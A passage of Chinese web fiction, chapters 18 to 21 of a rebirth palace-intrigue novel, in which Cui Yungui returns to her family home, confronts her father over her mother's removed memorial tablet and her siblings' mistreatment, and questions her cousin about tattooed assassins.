她十二岁时被刚入府的表姑娘挑中,满打满算已经有十一个年头了,朝露长开手掌看着自己遍布大小疤痕的手,十一年了,她已经二十三了,即使她早已过了婚配的年纪,表姑娘还是不肯放她出府去嫁人,但哪有怎样呢,朝露无声苦笑,从被卖到牙婆手上起,她就知道自己这辈子只能是水中浮萍,无依无靠,只能任由主子这股东风将她肆意推搡。
18.落地竹溪
流云缓动,烈日炎炎,刻有忠节侯府特殊徽章的马车终于进了竹溪的城门,城门口早有接到消息的官员在门口等着,崔云归作为魏麟的内眷不必下马车,她也不想在这听他们浮于表面的官话,便提议自己先行去崔家。
今日崔云归回崔家在魏麟心中就是她回门,既是回门,他不去成什么样子?于是快速的应付完了接待的官员后便上了马车同崔云归一起回崔家。
崔云归寄给舅舅周武的那封信最后还是回到了崔云归父亲崔乔海的手上,为表对魏麟这个女婿的看重,崔乔海穿戴整齐的在家等了一上午,期间无数次坐立难安,终于在下午等来了魏麟这个高门贵婿。
崔云归扶着魏麟的手下车时往人群中扫了一眼。
嗯,不该来的全来的,该来的少了一个。
少的那个就是她的胞弟崔云焱。
所以崔云归落地站稳后的第一句便是问弟弟崔云焱的下落。
“父亲,怎么不见焱哥儿?”
提起儿子,崔乔海心虚的摸了摸自己的鼻子,强装镇定。
“他近些日子太过不学无术了,我在偏远些的地方为他寻了个先生,让他过去住几日磨磨他的性子。”
哪里是这个原因?崔云倩咬住腮帮子,胸口刺痛,酝酿积蓄着勇气想要大声告诉姐姐哥哥是被父亲打伤丢到庄子上养伤去了,但未等她积满勇气开口,崔云归就先质问出口了:
“是吗?”
崔云归将信将疑,她敏锐的察觉出来哪里不对劲,但崔云焱性子确实顽劣冲动……
崔乔海心里有鬼,被崔云归怀疑后就像被踩中了尾巴的猫一样,色厉内茬的对着崔云归诉说他的严父难为:
“父母之爱子,则为之计深远,云焱性情顽劣,我若还不对他严加看管,惯着他,让他继续不学无术、招猫逗狗,那才就是杀他!”
“……”
他说这些那她就要掂量一二了,整个崔家谁不知道崔乔海独宠卫纤霏,将亡妻留下的三个孩不当人看?崔云归向前张望,她还是觉得这个事得找妹妹崔云倩才能问个清楚。
“倩姐儿。”
对于一双弟妹,崔云归是发自内心的对他们好,不然不会听从崔乔海的话嫁去远在千里之外的安阳忠节侯府,也不会在里面忍气吞声苦熬十年,就为了让弟妹能奔赴个好前程,更不会在怀胎六月时听说弟妹惨死的消息后提剑杀了罪魁祸首,最后受惊过度落了个成型的男胎。
“大姐姐。”
崔云倩一瞬间歇菜,缩在人群最后面小声回应崔云归,崔云归再看她,她就忽闪着眼睛回避着与崔云归的眼神交流。
“???”
崔云归觉得奇怪,自己的妹妹自己清楚,虽说性格软弱,但不至于连与她说话都要躲起来,难道是卫纤霏苛待她了?
崔云归眸色变的晦暗,故意装作亲昵的样子拉过魏麟的袖子,借机叫她到跟前来。
“我与你大姐夫常提起你,你大姐夫府中无妹妹,知道要来竹溪,在安阳时便给你封了个大红封,快到前处来,问你大姐夫讨个大红封。”
魏麟困在迷雾里,一大堆问题在他脑海中浮现,崔云归什么时候与他说起过她家妹妹?他又什么时候封了大红封?他怎么不知道?现在封还来得及吗?
一长串问题将他的思绪扯远,又被崔云归扯衣袖的细小动静带回,魏麟抬起袖子轻咳一声,不着痕迹看了眼寸笺后顺着崔云归的话往下说:
“是了,常听你姐姐说起你。”
崔云倩有些动摇,她眼神闪烁不定,飞快的往崔海乔和卫纤霏处瞄了一眼,看到他们都是笑着的才放下心来,只是她正要过去就被一道粉红色的身影抢过先去,她郁闷半晌,撤回了刚才踏出半步的脚。
粉衣少女,也就是卫纤霏和先前丈夫的女儿,名叶梦华,跟随卫纤霏改嫁一并到崔家了后便一直以表姑娘的身份自居,最喜装的天真烂漫行栽赃陷害之事,如今又故技重施,顶着一副纯真无邪的表情装作熟稔的来挽崔云归的手臂。
“表姐,云倩妹妹有大红封,那我有吗?姐夫你可不能厚此薄彼。”
崔云归默然的把手从臂从叶梦华手中抽了出来,掸了掸袖子不理她,嫌弃意味尽显。
她算老几?她没把她赶出去已是开恩,她有什么资格问她要红封?
看着空落落的手,叶梦华神情茫然片刻,崔云归疯了吧?当着新婚夫婿的面也不装一装?不过,这正好合了她的意,叶梦华低下头,再抬起来时双眼就已泪汪汪,仿佛自己受了天大的委屈一般:
“表姐——”
呵!嘴巴里叫的是她,眼神却直勾勾盯着魏麟,崔云归知道她打的什么主意,但她偏不让她如意!当着叶梦华的面,崔云归挽上了魏麟的手,还刻意往他跟前靠了半步。
魏麟固守礼法,在外人前从不做亲昵的举动,崔云归这一下不仅刺激到了叶梦华,也深深的刺激了一把魏麟,若不是崔云归箍的紧又掐着他手臂的肉,恐怕此时魏麟早就跳到三丈远去了。
崔云归拖着浑身僵硬的魏麟,学着叶梦华天真跳脱的神情和语气,为难的歪着头:
“官人是安阳人,那边不兴给外人封红封,所以官人不曾有备下你的,不过——”
她故意将尾音拖长,吊足胃口,在他们都以为后面有转机时勾唇一笑,一字一句直往叶梦华肺管上戳。
“我记得你家并非没有哥嫂长辈,当初你哥嫂新婚,卫姨娘可是送了不少礼金去,怎么?你叶家的哥嫂如此小气,一个红封都不肯给你?”
话音一落,叶梦华和卫纤霏脸上青红交加,眼中露出阴森之色,连带着崔乔海的表情也不好看起来。
崔云归刚才一句话一箭三雕,即提醒了父亲崔乔海叶梦华不过一个外人,向着那边他心里该有数,又点名了叶梦华不要脸,明明家中有长辈兄嫂,偏要死皮赖脸住在别人家中,最后又含沙射影的告诉卫纤霏她叶家的儿子跟她离心了,顺带警告卫纤霏她私底下接济她叶家那边儿子的事她一清二楚,别太放肆了。
崔云归和卫纤霏还有叶梦华相处了十多年,她们什么路数、哪里是痛点崔云归一清二楚。
以前她年纪小还会吃点亏,等她十二岁过后母女两就在她身上讨不到半分好处了。母女两不信邪,坚持
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不懈的和崔云归明争暗斗了两年,两年后她们发现讨不到好处也就算了,时常还要搭点好处出去,正是印证了那句赔了夫人又折兵。
铩羽而归的次数多了以后她们也就老实了,开始学会夹着尾巴过日子了。
只要她们不来主动招惹她和不去肖想崔府当家主母的位置,崔云归睁一眼闭一只眼也容下了她们,所以她们那边偃旗息鼓后,崔府也迎来了两年的安稳日子。
许是以为她嫁出去这偌大的崔家就是她们母女的天下了,崔云归眉梢泛着冷意,忽视掉崔乔海不悦的目光,侧过半张脸去与魏麟说笑,耐心的哄着妹妹过来:
“官人,看我与你说的不曾有错吧,我这妹妹胆小,面皮又薄,这是疑心你在逗她玩呢,你还不叫冬藏将红封拿出来,让她甘愿上前来叫声大姐夫。”
魏麟云里雾里,他怎么不知道安阳有妻子回门姐夫不能给表妹封红封的说法?还有他明明记得前世自己岳丈家中有二女二男,妻子崔云归和大姨子崔云倩连同大舅子崔云焱是岳丈与发妻所生,小姨子崔梦华和小舅子崔云琛是岳丈和续弦所生,大致算来,崔云倩和崔云焱这时应该也该记在了续弦名下,算做续弦的子女,小舅子年纪小也许还没出生,这也能理解,怎么前世的小姨子崔梦华今世变成了叶梦华?
再者岳父和岳母虽是半路夫妻,但恩爱异常,家庭和睦,唯一头疼些的只有他那个大舅子崔云焱,小小年纪不学好,吃上了五石散,但看今日这个剑拔弩张,明嘲暗讽的情形显然也是和前世他所知的那般有些出入……
崔云归等了半天没等来魏麟的动静,借着宽大的袖袍遮掩面不改色的拧了把魏麟,魏麟吃痛回神,楞楞的喊了声冬藏。
冬藏依言乘上来两个绣着双喜的大红封,崔云归眉目柔和,温柔的等着崔云倩来,魏麟想不到给红封,她可记在心里,毕竟此事关系到她的脸面。
崔云倩看了看吃瘪的继母和叶梦华,又看了看有气无处发的父亲,心里虽开心但还是拘谨不安的跑了过来,福身行礼:
“大姐姐。”
崔云归应了声,崔云倩又腼腆羞涩的小声唤了声魏麟:
“大姐夫。”
魏麟前世与崔家鲜少了解,但隐约记得这位软弱可欺的大姨子结局貌似不太好,他早已在前世就爱上了崔云归,此时爱屋及乌的他也对崔云倩心生了怜惜。
左右崔云焱今日也不在,魏麟索性就把两袋红封全给了崔云倩,打算下次也给崔云焱也备上两份红封。
“谢谢大姐夫。”
崔云倩从魏麟手上接过两袋沉甸甸的红封,福身道谢后又回到崔云归身边。她一来,崔云归就撇下了魏麟,拉起了崔云倩的手,笑的温柔又迷人,她不动声色的撩起崔云倩的袖子查看,崔云倩仿佛知道姐姐的意思,紧了紧崔云归的手冲着她摇摇头。
得到了她的回应,崔云归放下心来,笑意盈盈的拉着崔云倩的手。崔乔海看着姐妹两人在一起就眼皮直跳,他近些日子干了些能让大女儿火冒三丈的糊涂事,让她知道了定然会当场发作,闹的家中鸡犬不宁,虽早晚败露出来,但晚一天总比早一天要好得多。
19.大姑娘得了失心疯
往日崔云归为了她亡母周幼宁所做的事还历历在目,崔乔海一激灵,愈发坚定了要瞒着崔云归的决心,他热情似火的招呼着魏麟堂屋坐。
“都站在这日头下作甚?姑爷累了吧?快,去屋里吃茶。”
崔乔海极满意魏麟这个女婿,想当初给女儿崔云归物色夫婿的时候第一眼便看上了魏麟。
魏麟出生好,虽是前朝降臣之后,但也是被开国皇帝封了侯的,不管以前是怎样的,只要忠节侯的爵位在这,魏家就总有出头一日,届时崔家便是魏家的外亲,他们崔家还愁不能飞黄腾达?
他越想越兴奋,对魏麟也更为热忱。
“这一路山高水远,路途奔波劳累,昨日傍晚听闻你和小满要回来,我连夜让下人们收拾出了小满往日住的院子,今日就现在家里住下吧?”
崔乔海想的很好,仿佛明日魏麟就可以入得圣上青眼,大有作为。
领走了魏麟,他还不忘把崔云倩调离崔云归身边。
“倩儿,你大姐姐路途奔波,让你大姐姐歇息歇息,晚些时候再陪你大姐姐。”
他怕她们两姊妹在一块,崔云归一问崔云倩就全说了,所以语气中带有严厉。
“是。”
崔云倩放下和崔云归相挽的手,原本灿若星河的眼睛随着父亲的话暗淡下来。崔云归离她最近,对于崔云倩的情绪变化也有更敏锐的感知。
上一世她便没有护住她,这一世崔云归一点委屈也不想让崔云倩受,她握住崔云倩垂下的手,神情舒展,嘴角浮起一抹温和的笑意。
“父亲与官人先坐,我离家多时,同云倩先去祠堂看看母亲。”
是祸躲不过,该来的还是来了,崔云归要去祠堂看母亲,但祠堂哪有她母亲?崔乔海镇定自若,张口乱编了个理由,想要打消崔云归去祠堂的念头。
“祠堂在修缮,家中的祖宗牌位都不在祠堂中。”
不在祠堂中?
崔云归抬头:“那在哪?”
崔乔海把手一背,凹出几分父亲的威严出来。
“自然是放在玉泉寺里供奉着。”
是吗?崔云归不信,她刚才分明看见在她说完要去祠堂祭拜母亲那句话时崔云倩身体抖了一下,崔乔海的神情也变了一瞬。
“原是如此,那今日便就不去了吧。”
崔云归点点头,看样子是打消了去祠堂的心思,崔乔海舒了口气,正欲说点什么就见崔云归脚步一拐踏上了去崔氏祠堂的路。
崔乔海如释重负的那个表情可没有逃过她的眼睛。
谁也没想到崔云归会突然改道,等大家反应过来的时候崔云归已经独自走远了好一段路,崔乔海拦也不是,不拦也不是,一张脸因生气和憋屈而扭曲成一团,最后气急了,朝守院的小厮大喝:
“拦住大姑娘!”
“谁敢?!”
崔云归语气清冷,眸含薄怒,她在崔家积威已久,现在又得嫁高门,那些围上来的小厮见她动了气也不敢真的去拦她,假模假样的做做样子自然也就拦不住崔云归。
疯了!真是疯了!
崔乔海试探意味明显的看了眼魏麟,没料到崔云归这么犟,在夫婿面前也不知收敛,忍着鬓角狂跳的青筋抬脚追了上去。
他们父女二人都走了,众人肯定也跟了上去。
崔云归一路火花带闪电的往崔氏祠堂走,到时发现祠堂好好的,放眼望去,祖宗的牌位也一个不差的放在祠堂里面供奉着,唯独只有她母亲周幼宁那块牌位不见了踪影。
“你是失心疯了吗?”
眼见着事情已经败露,追上来的崔乔海先声夺势,先一巴掌打在崔云归的脸上,留下一个醒目的五指红痕。
崔云倩和春寻在崔云归挨打的第一刻便冲了上去扶住她,春寻气势稍弱,呐呐道:
“你怎么能打姑娘呢?”
崔乔海怒目圆瞪:“不敬尊长,我打死她也是她活该!”
“……岳丈……”
追上来的魏麟一上来看到的便是崔乔海和崔云归两人均对对方怒目而视的这一幕,长期被扭曲过的儒家愚孝思想训化,致使他在不清楚全因后果前就先入为主的把这件事的错全部归咎到自己的妻子崔云归身上。
他上前抚上了崔云归的背,自认为通情达理的劝着她去认错。
“娘子,圣上以孝治天下,你我皆为臣民,怎可不从圣意,忤逆岳父?去同岳父认个错,嗯?”
他说的冠冕堂皇,崔云归怒极反笑,蓦的又绷直了唇角,目露鄙夷的睇了魏麟一眼。不知怎的,被她这样看一眼,魏麟心里竟生出些后悔来,他似乎有些后悔不分青红皂白就率先指责她的行为,但覆水难收,说出口的话也是难收。
只见下一秒崔云归带着讥嘲朝他靠近。
“认错?然后呢?又是叫我将这委屈忍下去?魏麟,你算个什么东西?真当自己可以左右我?你的母亲对我百般刁难你叫我忍下,你的表妹对我处处挑衅你也叫我忍下,刁奴欺主你还是叫我忍下,往日寄人篱下,委身在他人眼皮底下度日我可当他们是过往云烟,魏大人,今时不同往日了,你如今站的地是我崔家的祠堂,我在自家祠堂中问我母亲的牌位去哪有何不可?!”
她每说一句便逼近一分,彷佛要用这些伤人的话将他的心肝脾肺全剖出来。
“我……”
魏麟眼神躲闪,有些受伤有些茫然又有些愤怒,他不明白,他次次的好心规劝,怎么就惹来了崔云归诸多不快。
崔乔海瞥了一眼被崔云归骂的游离在状况外的魏麟,只觉得崔家的前途要断送在崔云归手上了,他气上心头,一手捂住心口,一手指着崔云归怒斥。
“你!你!你当真是疯了!”
他们如何生气崔云归并不想搭理,她眉心紧颦,平日里总是透亮的清瞳此时韫色正浓。
“我母亲的牌位在哪?”
她目光森然,一一扫过在祠堂中站着的众人。
气氛逐渐僵直起来,崔云倩扯住崔云归的披帛拉了拉:
“大姐姐。”
崔云归垂眸看她,崔云倩察觉到了姐姐的目光,怯怯的抬起眼后立马又垂下,她声音轻微,语调颤抖,极力与姐姐讲明真相。
“大姐姐,母亲的牌位被父亲送去了玉泉寺,你出嫁后一月,爹爹就把卫姨娘扶为了正妻,担心卫姨娘地位不稳被人诟病,爹爹便把我和云焱记在卫姨娘名下,云焱抵死不从,父亲怕云焱跑去给舅舅传信,便把云焱关了起来。约莫三个月前,卫姨娘连日身体不适,请郎中来府中看诊,说是怀了身孕。”
“有孕?”
崔
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云归无意识的扫过卫纤霏依旧平坦的小腹,面沉如水的脸色有一丝松动,她侧眸向春寻求证,果真在春寻脸上看到了与她如出一辙的震惊。
怀孕?卫纤霏怎么会有孕?明明……
崔云倩不知许多事的内情,误以为崔云归是如同她刚晓卫姨娘有孕时一般惊讶,点点头,继续说道:
“爹爹老来得子,喜不自胜,府中事事皆以卫姨娘顺意为先,半月前,卫姨娘开始说夜里心慌难眠,请了寺里的大师来家中相看,大师说母亲的属相与卫姨娘的属相犯冲,且母亲嫉恨卫姨娘有孕,故要害她们母子,破解之法便是把母亲的牌位放到寺中去闻闻香火,听足一年的诵经声,我不知该如何办才好,只能去和云焱说了此事,云焱他知道后砸了门窗出去找卫姨娘和爹爹对峙,中间与爹爹他们起了争执,云焱脾气上来,说要卫姨娘去死,爹爹便把云焱抓起来打了板子,打的云焱躺在床上动弹不得,昨日听见你要回来,爹爹怕你知晓后闹腾起来,便把云焱送到别庄外去养伤了。”
讲完这些,崔云倩已然指节发白,汗珠满头,崔云归觉得好笑,她竟不知,这偌大的崔府内里竟改姓了卫。
但以往姓了卫又如何?只要她在崔府一天,这崔府就得同她姓崔!
崔云归斜睨着卫纤霏和崔乔海不容置喙的说道:
“现在去将我母亲的牌位迎回来,明日劳烦父亲与我一同走一趟,将云倩和云焱重新归到我母亲名下去。”
至于这个卫纤霏这个崔家正头娘子的位置就暂再让她坐几个月。
上位者多年,让崔云归学会了谋定而后动,不打无准备的仗,先将确凿的证据握在自己手中,最后一击致命,这样才能斩草除根,永绝后患!
按卫纤霏往日十余年的做派来说,这种时候她一般不会开口说话,她清楚崔乔海喜爱她的温柔娴静,识大体,所以她的一言一行都框在崔乔海的喜好里。
但现在她有了正妻的地位,加之现在肚子里怀了孩子,便觉着有与崔云归抗衡一二的资本,她手抚上尚且平坦的小腹,泪眼婆娑的唤着独属于他们两人的爱称。
“三郎……”
魏乔海吃她一套,立马过去扶住她。
“纤儿。”
卫纤霏带着他的手摸向小腹,泫然欲泣。
“我与三郎年少情深,历经磨难才与你终成眷属,唯一不足之处便是进府多年未能给三郎生个一儿半女,现下好不容易老来得子,实在不愿就此失去……”
眼泪恰当好处的顺着她的脸流下来,滴在崔乔海手上,卫纤霏恍若不知,一边流着泪一边说:
“还望三郎垂怜,让我为你生下这个孩子,生完那便就是让我去死我也愿意!”
卫纤霏很清楚崔乔海喜欢她的柔情似水,温婉贤淑,就如同他们初见时一样。但她似乎忘了,天下男子皆薄情,崔乔海爱她的同时也曾对周幼宁一见钟情。
这种委屈诉苦的姿态启发了崔云归,卫纤霏也好,花倚翠也罢,遇事皆是将自己扮成弱者,再掉下两滴眼泪来,以柔弱的姿态获得他人的爱怜,仿佛谁更柔弱谁就更有理一般,难道世间行事之法竟是如此?
她恍然大悟,立马将现得的感悟用于实践当中。
卫纤霏可以装柔软赢的崔乔海怜惜,她亦可以扮亡母引的他愧疚。
20.只闻新人笑,不见旧人哭
崔云归侧过脸微微垂下头,她闺房中挂了一副周幼宁的画像,十几年来日日都看,自然清楚自己哪个角度更像亡母。
“爹爹,卫姨娘与你年少情深,进府多年后有孕,那我娘呢?爹爹,你与娘也曾恩爱相许啊。”
什么恩爱相许?要不是崔乔海生性浪荡多情,七夕佳节在桥边对她母亲一见钟情后死皮赖脸上门求娶,她母亲嫁不嫁他还不一定!崔云归暗暗瞥了一眼,摸下了今日头上的簪着的一支桂花簪,对着它神伤。
“爹爹可还记得我三岁那年秋,你与娘带着我在院中赏月,当夜花在怀中,月在杯中,你折了一支桂花簪在娘发间,爹爹,你已经全然忘记了吗?”
如此久远的故事崔乔海自然是不记得的,不记得也没关系,因为这本就是崔云归临场编造的。如果她头上簪的是荷花簪,她也能编出另外一个版本的故事出来,故事如何不重要,重要的是她讲的情真意切。
眼泪,清冷美人不常有的眼泪,似乎在任何时候都能更能勾起一个男人的怜悯。崔乔海面露愧色,想起刚才打在她脸上的那巴掌,心中更后悔了,崔云归抓住了他的愧疚和后悔,退了半步垂下手,任由桂花钗跌落在地上发出清脆一响,她抬起眼眸,以帕掩口,用酷似亡母的眉眼赤裸裸的控诉崔乔海这个父亲。
“爹爹佳人在侧,想必早已忘记了,忘记了与娘恩爱相许的时光,忘记娘为了给你诞下一双儿女死在产床之上,忘记了当年娘为救你性命舍下最后一颗救命丹药给你,也忘了我这个远嫁他乡的大女儿”
字字泣血,句句珠玑,崔乔海动容上前一步。
“小满……”
崔云归倒退着走了几步,她一心想和崔乔海拉开距离,退的时候也没有丈量好距离,这一退竟退到了魏麟跟前。魏麟活了两世,也是第一次看到这样的崔云归,破碎凋零的像将要陨落的神女,他心被揪成一团,疼的他无法喘气,一瞬间,他将崔云归刚才指着他叱责的话全抛个彻底,满心的怜爱催促他顺势抬手扶住崔云归。
“娘子。”
“……”什么晦气玩意!
崔云归向旁歪了一步,挣开了魏麟的手,酝酿回了情绪继续给崔乔海填薪加火。
“爹爹一定是忘记了,不然为何会将娘拼死生下的两个孩因为卫姨娘三两句挑拨便记到卫姨娘名下?又为何会把娘的牌位迁出崔家祖祠放去庙里供奉?爹爹定然是忘记了,如今是只见新人笑,不见旧人哭,可怜苦命的焱哥儿,只不想让亡母去做那庙里的孤魂野鬼,便被爹爹几棍子打伤,丢去庄子休养,爹爹,你如今只要卫姨娘和她生的孩,不要我们姊妹兄弟三人了吗?”
她说的情深意切,带动着崔云倩也哽咽啜泣起来,崔乔海心烦意乱,他想说不是,偏巧这时候见情况不对偷跑去周府的冬藏带着周家舅舅舅母和表哥回来了,与之一起来的还有一个守门的小厮。
“妹夫如今真是一朝龙在天,凡土脚下泥了。”
一道浑厚的声音自外由远及近的传到崔家祠堂中众人的耳中,紧接着一个身形魁梧的中年男子带着一年轻男子和一中年妇人踏进了崔氏祠堂中,那妇人一进门就跑过去把崔云归搂进怀中。
“小满,我可怜的小满,脸怎被打成这样?疼不疼?”
崔云归温驯的靠在妇人怀中逐一唤着三个人,没有说疼也没有说不疼。
“舅母,舅舅,表兄。”
崔云倩生性腼腆,对亲近之人亦是如此,她福身跟随姐姐崔云归一一唤了过去。
“内兄。”
见着了周武,崔乔海气焰歇了一半。
周武冷哼一声:
“不必叫我内兄,你崔乔海如今的正头娘子可是你旁边站着的那位,我周武姓周不姓卫,担不起你这句内兄。”
卫纤霏状若惊恐的低下头,眼中闪过狠毒的光。
“我出身低微,不敢攀附舅老爷。”
崔乔海脸涨的通红,被怼的哑口无言,饶是如此,他还是给卫纤霏去了个眼神,示意她少说话。
周武看不得这副做派,眼睛一转撇过头去,在人群中搜寻一圈后定格在了魏麟的身上
“你就是小满嫁的夫婿?朝廷下派来竹溪做官的那个?”
魏麟上前行拜礼。
“恭请舅舅福安,舅母妆安,我在家中行一,名魏麟字知新,舅舅可唤我知新。”
周武点头应下,将他从上到下看了遍,心里对魏麟定了性,皮囊生不错,但人不太行,男子汉大丈夫,竟让自己娘子在眼皮子底下挨了打,不堪为良配!
“司户参军在外头等着见你”
魏麟有点印象,刚才在城门前接他的那些官员里面就有他。
怎么这个时候找上来?魏麟记得离去时他已表明要陪崔云归回娘家,难道有什么要事?
他方到竹溪,还未来得及上任,万不能落人一个摆高官架子的口舌,魏麟略整衣袍举袖作揖拜别堂上长辈随守门的小厮去外厅见客,欲走之际,崔乔海叫住了他:
“慢。”
魏麟不解停住,崔乔海却不再与他说话,而是对着周武谄笑:
“内兄,你看这……”
女婿在家中被官员求见,岳丈不出门让女婿独自去,既有不给司户参军面子的嫌疑又隐约向外界表明自己家中有事。整个竹溪也就这么大,若司户参军有意探听,难免不知今日家中发生的事,崔乔海也是知道自己这件事若原原本本的传出去会遭人诟病,所以从始至终都是静悄悄去办的,周武这才没得到一点风声。
周武虎目一撩,从鼻子里轻哼一声,他知道崔乔海是想和魏麟一同出去见司户参军。
“这时候你倒是知道礼义廉耻了。”
说是这样说,周武还是没让他太难堪,转头吩咐儿子周商序把两个妹妹带回后院去歇息后抬步往见客的前厅走。
周武清楚对付崔乔海这样好面的人须得留有一线余地,保全他那几分薄面,才能让后续的谈判顺利继续,做的太绝了反而会让崔乔海狗急跳墙,最后为难的还是崔云归三姐弟。
一场争斗随着司户参军的到访被迫中止,周商序遵从父亲的吩咐将两个妹妹带到后院去歇息。
崔云归也就是崔乔海面前演演苦情戏,崔乔海一走,她的眼泪便荡然无存,带着表兄周商序和崔云归回了后院她未出阁前住的院子。
两次遇刺看到的燕子刺青给她留下了不可磨灭的印象,她一早就打算求助周商序,原本还怕信中说不清楚,现在他们面对面,完全没了这样的顾虑。
“表兄,我有一事相求。”
周商序从小到大就拒绝不了崔云归的请求,以前是,现在亦然。
熟悉的地方熟悉的人,崔云归没了那么多顾忌,将风雪夜遇刺一事连同山中匪寇刺杀一事并在一起毫无隐瞒的讲了出来。
崔云倩听的是又惊又怕,抓住崔云归的手用力到发白。
“风雪之夜掉进冰窟……姐姐的身体可好?”<
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她攥的她的手有些发疼,崔云归轻怕了拍崔云倩的手,示意她放轻些,云淡风轻的道:
“病了三个月,出发来竹溪前便大好了。”
崔云倩年岁小,心疼姐姐心疼的直掉眼泪,崔云归无法,抬起她的脸给她拭去泪痕:
“傻妹妹,哭什么?你瞧着我现在全须全尾的坐在这好好的,哪有什么问题?再说有春寻三人伺候我你还不放心?”
哄了好一阵才把崔云倩哄好,崔云归坐直,重新和周商序说起两件针对她而起的刺杀一事上所有的共同点,也就是那些人肩上的燕子刺青。
“表兄多年来跟随舅舅走南闯北,见过的人也多,可有见过肩上有燕子刺青的人?”
周商序思索了一顿,答道:
“按大燕律法,犯大罪者处黥刑,旁人都对此避之不及,鲜少主动往自己身上刺刺青的,在大燕领地内刺青并不常见,倒是契丹及一些外族人,常在自己身上刺一些符文图案。”
言外之意那些人可能是外族人。
“不是。”
崔云归绝口否认,她看的很清楚,那些人的长相绝对不是外族人的长相。
不是外族人,但有刺青,且刺青还在肩膀上,这样找的难度太大,周商序只能追问更多的细节以便缩小范围:
“这倒也奇怪,小满,除了这个刺青外你还有什么别的发现?”
别的?崔云归尽力回想起来那些人的特征,最后还真给她找了出来:
“我看他们掌心粗糙,五指布满老茧,有一两个人指甲上还藏有泥垢,还有一个人的小拇指上端有一小根木刺,再多我就想不起来了”
泥垢、木刺,庄稼汉和木工?有功夫有身手的庄稼汉和木工?
周商序心里有了谱,点头应下:
“行,我让底下的兄弟留意一二,有了发现便让母亲写拜帖给你。”
“多谢表兄。”
冰袋敷在脸上的瞬间激的崔云归尾音颤栗,周商序见她依旧像未出阁时一般小姑娘作态不由得发笑:
“你我二人之间道什么谢。”
一边说他一边起身:“司户参军来了好些时候,想必已经走了,你好生在这歇息,我去前厅叫人来给你回话。”
听他要走,崔云归捧着冰袋和崔云倩一起送他,只是刚站起来,周商序就阻止了她们:
“不必相送,待在房中叫春寻多给你敷一敷脸,我们小满如今是官眷了,说不准明日便有夫人给你递请帖,邀你出去赴宴,到时肿着脸可怎么才好?”
这种打趣揶揄的话落在崔云归耳朵里就是隔世,与这世不同的是,前世她嫁到忠节侯府去后再也没回来过。
外人皆不明内里,以为她嫁入侯府便是飞上枝头变凤凰了,见她从忠节侯府大奶奶坐到了忠节侯夫人最后被圣上封为诰命夫人,便认为她这一路风光无限,平步青云,舅舅一家也这样认为。
他们根据表象错认为她过得很好,于是在她出嫁多年来从未给她递过拜帖,去过书信,就是怕外人误会他们想攀附侯府,怕她为难。
崔云归如他所说的那样停下了脚步,她的目光聚集在周商序身上,然后慢慢漾出了笑意,落难时施以援手,风光时退居一旁,舅舅一家于她,是为大恩。
“知道表兄爱好藏酒,今日我刚得了一坛好酒,走时表兄差人来带去家吧。”
“好。”
周商序笑着应下,笑容一如既往的憨厚沉稳。
21.悔不当初
初入夏季,正值竹溪多雨的时候,中午还烈日当头,到了半下午时天就阴沉下来,阴了个把时辰,小雨如期而至,淅淅沥沥的打在屋檐上。
崔云归敷脸的冰袋此时也换成了热毛巾,崔云倩伏在她的膝头一边把玩欣赏姐姐由凤仙花染成橘红色的手指,一边与姐姐一同听着表兄从前厅叫来给她们回话的丫鬟秉明前厅的情况。
“司户参军来是与姑爷说他今日没去迎姑爷与姑娘是因为家中的夫人突发风寒,他在家陪着夫人等郎中来才耽搁了。”
“不必说姑爷和司户参军的事,只说舅舅和父亲两人即可。”
崔云归不关心魏麟,也不关心什么司户参军,她关心的是她母亲周幼宁的牌位与一双弟妹记名之事如何解决。
丫鬟原本就是崔云归院里的丫鬟,对崔云归的指令很服从。
“舅老爷胁令主君让主君把二姑娘和三公子记回夫人名下,主君应下了,说择日就去把二姑娘和三公子记回夫人名下,舅老爷不依,说什么择日!择日不如撞日,明天就去把这事办了。”
说着,她停下来舔了舔嘴唇,润过唇继续说:“舅老爷这样说后主君看了看卫姨娘,卫姨娘没说话,主君就答应了下来。”
听到这,崔云倩的手握的紧了一瞬,崔云归知道她心思细腻敏感又胆小,恬适般的摸了摸她的头,把崔云倩不敢说的话替她说了出来。
“将你和云焱记回母亲名下他竟还要看卫纤霏的脸色,父亲老了,越活越出息了。”
趁着说话,崔云归瞟了眼秋收,睇给了她一个眼神。秋收接收到了崔云归眼神里藏着的意思,上前倒了杯茶递给她:“姑娘让你喝口茶润润嗓子。”
平心而论,崔云归是个好主子,她会体谅春寻早起忙碌的不易免除她的守夜,当然也不会无视她口渴舔嘴唇的动作。
丫鬟受宠若惊,忙接过水灌了一口:“多谢姑娘,多谢秋收姐姐。”
崔云归把已经敷凉的毛巾给春寻,示意丫鬟继续往下说。
“主君答应明日就去把二姑娘和三公子记回夫人名下后舅老爷又说让主君赶紧去把夫人的牌位请回来,主君说卫姨娘肚子里现在怀着孩子,现在就将夫人的牌位请回来夫人的煞气恐要冲撞到姨娘肚里的孩子,又说自古以来都是死人给活人让路的,给人活路,夫人生前便良善,若她清醒了也定然会理解支持他的做法。舅老爷听罢瞪眼指责主君乃无情无义之辈,两人吵的脸红耳赤,最后舅老爷拍桌与主君说他若硬要一意孤行,听信谗言将夫人的牌位放到玉泉寺中去那他便代由过世的夫人写下和离书,要主君签下和离书,他把夫人的牌位供到家中的祠堂去,不让夫人去当那居无定所的孤魂野鬼,后来我就被表公子叫来给姑娘回话了。”
“你下去吧,同表兄说剩余的不用叫人来回话了,我已经知道了。”
崔云归接过春寻拧好的热毛巾贴在脸上招手让丫鬟回去了,剩下的不需人来回话就凭她对崔乔海这个父亲的了解她也能猜到结果。
崔乔海风流,爱美人不假,但他更爱自己的脸面与崔家。周家祖上是靠着镖师发家的,所以舅舅周武自小学武,养的性格火爆,涉及到她们三人的事更称的上蛮横,现在崔乔海为了扶正一个妾室做出这等没脑子的事出来还不知悔改,依照周武的性格他怕是要把天给掀了。
若这还不能崔乔海忌惮,那生意场上的事也足矣让崔乔海重新考虑一二。
周家虽不及崔家那样繁盛,但这两年在表兄周商序的带领下周家的重心逐渐开始往漕运偏转,漕运办的是公家事,没了周家这个助力,崔家还能繁荣几时真不好说。
这其中的利害关系错综复杂,她看的清楚,也相信身处其中利益中心的崔乔海看的清楚。
知父莫若子,只能说崔云归对崔乔海还是了解的,最后的结果与她猜的一般无二。
当日晚上原本设了家宴,但魏麟被知州拉去赴宴了,崔乔海和卫纤霏战败,双双失了胃口,于是家宴上只有崔云归和崔云倩二人吃饭。
打了一场胜仗,崔云归心生高兴,晚饭时她还多用了半碗饭,结果就是毫无悬念的吃撑了,生生坐到半夜才睡着。
